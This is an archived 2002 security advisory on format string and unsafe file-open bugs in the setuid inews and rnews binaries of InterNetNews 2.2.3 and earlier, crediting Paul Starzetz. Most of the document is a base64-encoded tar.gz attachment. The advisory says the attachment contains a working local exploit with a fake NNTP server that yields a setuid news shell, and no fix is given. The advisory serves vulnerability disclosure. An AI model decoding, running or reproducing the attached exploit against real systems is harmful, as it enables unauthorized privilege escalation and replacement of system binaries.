26th Sep 2002 [SBWID-5262]
COMMAND
	InterNet News format string overflow
SYSTEMS AFFECTED
	inn <=2.2.3
PROBLEM
	Paul Starzetz [http://www.starzetz.com] says :
	There are several format string coding bugs as well as  unsecure  open()
	calls. In particular the inews and  the  rnews  binaries  are  affected.
	This may lead  to  serious  security  problems  if  those  binaries  are
	installed set-uid and are executable by any user. In the case of  inews,
	obtaining  uid  news  is  possible  (which  can  be  further   used   to
	replace/trojan other system files like the binaries themselves), in  the
	case of rnews, access to  probably  sensitive  inn  configuration  files
	seems possible (like inn password hashes etc).
	The attached archive contains a short proof of concept code for  one  of
	the format string bugs (look in the inews.sh script  for  more  details)
	in the inews binary. The code has been succesfully tested  against  SuSE
	7.0 where inews and rnews are setuid news. Later distributions seems  to
	use another security conecept - the  binaries  are  either  only  setgid
	news or  are  not  runnable  by  ordinary  users.  The  exploitation  is
	technically difficult - it requires a fake NNTP server  setup  somewhere
	(the code comes with the tar  package).  Note:  this  is  NOT  a  remote
	exploit. Look at the code for more  technical  details.  The  code  will
	create a setuid news shell.
	 Exploit :
	 =======
	
	Content-Type: application/octet-stream;
	 name="innexpl.tar.gz"
	Content-Transfer-Encoding: base64
	Content-Disposition: attachment;
	 filename="innexpl.tar.gz"
	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
	W7VVW7VVW7VVW7VVW7VV+3/Y/g2I/YuhAFAAAA==
	
SOLUTION
	Not yet.